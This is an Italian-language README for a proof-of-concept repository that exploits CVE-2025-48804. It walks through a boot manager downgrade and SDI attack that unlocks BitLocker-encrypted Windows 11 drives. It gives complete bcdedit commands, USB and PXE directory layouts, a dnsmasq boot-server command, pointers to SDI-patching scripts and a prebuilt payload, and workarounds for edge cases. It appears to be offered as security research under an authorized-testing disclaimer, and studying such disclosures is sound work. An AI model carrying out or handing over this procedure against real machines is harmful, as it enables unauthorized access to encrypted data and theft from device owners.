
Attacco di downgrade per CVE-2025-48804
Una prova di concerto per accedere a dischi crittografati con BitLocker in meno di 5 minuti su macchine Windows 11 completamente aggiornate tramite un attacco di downgrade del boot manager, sfruttando la vulnerabilità SDI originariamente documentata come CVE-2025-48804. La patch di luglio 2025 risolve questo problema in bootmgfw.efi, quindi qualsiasi bootmgfw.efi precedente alla patch, firmato con PCA 2011, può essere utilizzato per un attacco di downgrade, a condizione che il sistema di destinazione si fidi di questo PCA.
Questa PoC fornisce due metodi di distribuzione: avvio USB (più semplice e consigliato) e avvio PXE. Ma teoricamente, potresti anche solo copiare un file di avvio SDI in una delle partizioni non crittografate predefinite (ESP e Recovery) e non preoccuparti di USB o PXE - vedi la tabella "Casi limite".
Questo lavoro si basa interamente sulla ricerca di Microsoft STORM (Netanel Ben Simon e Alon Leviev):
BitUnlocker: Sfruttare il ripristino di Windows per estrarre i segreti di BitLocker
dnsmasq e un cavo Ethernet per PXEMettilo in USB/sdi/ (per il metodo USB) o TFTP-root/sdi/ (per il metodo PXE).
Sul dispositivo di destinazione, apri un prompt dei comandi di WinRE (tieni premuto Shift mentre fai clic su Riavvia, poi Risoluzione dei problemi > Prompt dei comandi — fai clic su "Ignora questo disco" quando viene richiesta una chiave di ripristino di BitLocker e fai clic su "riavvia" se ti viene anche detto che il prompt dei comandi non può essere eseguito su un dispositivo bloccato — e se il prompt dei comandi non si apre, usa il tuo WinPE se puoi). Collega una chiavetta USB ed esegui:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
Nell'output, trova la voce delle opzioni del dispositivo la cui descrizione è "Ripristino di Windows" e che contiene le voci ramdisksdidevice / ramdisksdipath. Prendi nota del suo GUID, poi:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Posiziona il file BCD risultante nella posizione appropriata in base al tuo metodo:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormatta una chiavetta USB come FAT32 e copia il contenuto della directory USB/ nella sua radice (solo il suo contenuto, non dovrebbe esserci una cartella "USB"). La chiavetta USB dovrebbe apparire così:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Boot manager pre-patch (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Il tuo BCD modificato
└── sdi/
└── boot_patched.sdi # SDI patchato con WinRE personalizzato
Collega la chiavetta USB al target e attiva un avvio UEFI USB — sia da WinRE (Usa un dispositivo) sia premendo il tasto del menu di avvio del produttore all'accensione (F12, F9, ecc.). Se la chiavetta USB non appare nell'elenco delle opzioni di avvio, cerca un'opzione "Avvia da file" nel menu di avvio UEFI, quindi naviga fino a EFI/Boot/bootx64.efi sulla chiavetta USB.
La directory TFTP-root/ è strutturata come segue:
TFTP-root/
├── bootmgfw.efi # Boot manager pre-patch (PCA 2011)
├── Boot/
│ └── BCD # Il tuo BCD modificato
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Stesso boot manager pre-patch
└── sdi/
└── boot_patched.sdi # SDI patchato con WinRE personalizzato
Collega il target alla tua macchina Linux via Ethernet e avvia il server PXE:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Attiva l'avvio PXE sul target — da WinRE seleziona Usa un dispositivo > Rete IPv4, o premi il tasto di avvio PXE del produttore.
Il boot manager caricherà il BCD, poi inizierà a scaricare boot_patched.sdi. Il file SDI è grande (~300 MB) quindi richiede un momento da USB, o diversi minuti via TFTP. Un messaggio relativo al ripristino con il percorso SDI dovrebbe apparire sullo schermo del target mentre si carica.
Una volta completato il trasferimento, dovrebbe apparire un prompt dei comandi con il volume del sistema operativo decrittato e montato (tipicamente C: o E:). Se non è stato montato automaticamente o non vuoi indovinare la lettera, esegui diskpart -> sel vol X (quello che sembra il tuo drive crittografato) -> assign letter=C (o qualcos'altro) -> exit -> profitto
Ho incluso due script in scripts/:
patch_sdi.py — costruisce un file SDI modificato da un file boot.sdi e un file WinRE.wimparse_sdi.py — analizza un file SDI per validarne la struttura e il contenutoIl file boot_patched.sdi fornito in Releases contiene un WinRE.wim modificato in cui l'app di avvio è cmd.exe.
bootmgfw.efi firmato CA 2023. Per verificare, monta la partizione EFI e ispeziona il binario attivo: mountvol S: /s poi sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Nota che C:\Windows\Boot\EFI\bootmgfw.efi potrebbe differire dal file effettivamente utilizzato all'avvio — controlla sempre la copia nella partizione EFI.Microsoft STORM (Netanel Ben Simon e Alon Leviev) per la ricerca originale su BitUnlocker e la divulgazione della vulnerabilità.
Questo progetto è concesso in licenza con la Licenza MIT. Vedi il file LICENSE per i dettagli.
Questo repository e tutto il suo contenuto sono forniti strettamente a scopo di test di sicurezza e ricerca autorizzati. Utilizza questo strumento solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta per il test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno derivante dall'utilizzo di questo materiale.
| Situazione | Cosa succede |
|---|
| BitLocker configurato con un PIN che conosci | Schermata blu all'avvio — digita il PIN alla cieca (scusa non mi sono preoccupato dei font BitLocker in questo repo) e premi Invio |
| Schermata blu, nessun PIN | Il target è probabilmente migrato a CA 2023 — premi Escape e lascia comunque che il trasferimento SDI finisca, ma il drive crittografato con BitLocker sarà molto probabilmente bloccato alla fine |
| Solo USB-C / Thunderbolt | Usa un drive USB-C o un adattatore USB-Ethernet (per PXE) |
| File TFTP non trovato (a parte i file Font spazzatura di cui non ci interessa) | I nomi dei file fanno distinzione tra maiuscole e minuscole — rinomina bootmgfw.efi in modo che corrisponda a ciò che richiede il target |
| Nessun avvio PXE o USB consentito | Controlla la dimensione disponibile delle partizioni ESP e Recovery (diskpart -> list vol). Se c'è abbastanza spazio per il file Boot.sdi fornito (che è circa 300Mb) in una delle due partizioni, mettilo lì. Quindi, l'exploit sarà leggermente diverso (ma comunque altrettanto veloce) poiché dovrai modificare direttamente il file BCD del sistema di destinazione (per favore fai un backup) per puntare alla partizione host non crittografata (in particolare la voce BCD ramdisksdidevice), e sostituire il bootmgfw.efi del tuo target con quello fornito nella cartella TFTP di questo repo. In questo caso, assicurati di verificare che il boot manager del tuo target sia firmato da PCA 2011 (l'exploit non funzionerebbe comunque in quel caso, controlla sempre), altrimenti metterai il sistema in ripristino BitLocker. Inoltre, se non c'è abbastanza spazio per il file Boot.sdi che ho fornito in questo repo, potresti provare a crearne una versione più piccola, ci sono sicuramente alcuni modi per farlo (vedi la sezione "Crea il tuo file SDI" qui sotto) |